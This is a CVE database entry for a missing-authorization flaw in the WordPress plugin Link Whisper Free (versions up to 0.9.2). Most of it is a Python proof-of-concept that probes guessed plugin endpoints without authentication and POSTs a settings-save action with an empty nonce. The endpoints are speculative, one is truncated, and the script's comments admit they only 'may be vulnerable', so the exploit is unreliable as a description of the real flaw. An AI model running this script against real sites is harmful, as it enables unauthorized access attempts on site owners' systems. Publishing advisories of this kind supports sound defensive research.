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CVE-2025-62970 CVSS 5.3 MEDIUM

CVE-2025-62970

Published: 2025-10-27 02:15:57
Last Modified: 2026-04-27 17:16:39

Description

Missing Authorization vulnerability in Spencer Haws Link Whisper Free link-whisper allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Link Whisper Free: from n/a through <= 0.9.2.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Link Whisper Free <= 0.9.2
Link Whisper Free from n/a through <= 0.9.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62970 PoC - Link Whisper Free Missing Authorization # This PoC demonstrates accessing protected functionality without authentication import requests import sys def exploit_cve_2025_62970(target_url): """ Exploit for Missing Authorization vulnerability in Link Whisper Free Target: WordPress site with Link Whisper Free plugin <= 0.9.2 """ # Common Link Whisper API endpoints that may be vulnerable vulnerable_endpoints = [ f"{target_url}/wp-json/link-whisper/v1/", f"{target_url}/wp-admin/admin-ajax.php?action=lw_", f"{target_url}/?rest_route=/link-whisper/v1/", f"{target_url}/wp-json/linkwhisper/v1/" ] print(f"[*] Testing CVE-2025-62970 on {target_url}") print(f"[*] Target: Link Whisper Free <= 0.9.2") print(f"[*] Vulnerability: Missing Authorization / Broken Access Control") for endpoint in vulnerable_endpoints: try: # Send request without authentication response = requests.get(endpoint, timeout=10) # Check if we get unauthorized access (200 OK without auth) if response.status_code == 200: print(f"[+] VULNERABLE: {endpoint}") print(f" Status: {response.status_code}") print(f" Response preview: {response.text[:200]}") elif response.status_code == 401 or response.status_code == 403: print(f"[-] Protected: {endpoint} (Status: {response.status_code})") else: print(f"[*] Endpoint: {endpoint} (Status: {response.status_code})") except requests.RequestException as e: print(f"[!] Error testing {endpoint}: {str(e)}") # Example POST request to trigger vulnerable function post_data = { 'action': 'link_whisper_save_settings', 'security': '' # Attempting without valid nonce } try: response = requests.post( f"{target_url}/wp-admin/admin-ajax.php", data=post_data, timeout=10 ) print(f"\n[*] POST test result: {response.status_code}") except requests.RequestException as e: print(f"[!] POST test failed: {str(e)}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_62970_poc.py <target_url>") print("Example: python cve_2025_62970_poc.py http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') exploit_cve_2025_62970(target)

References

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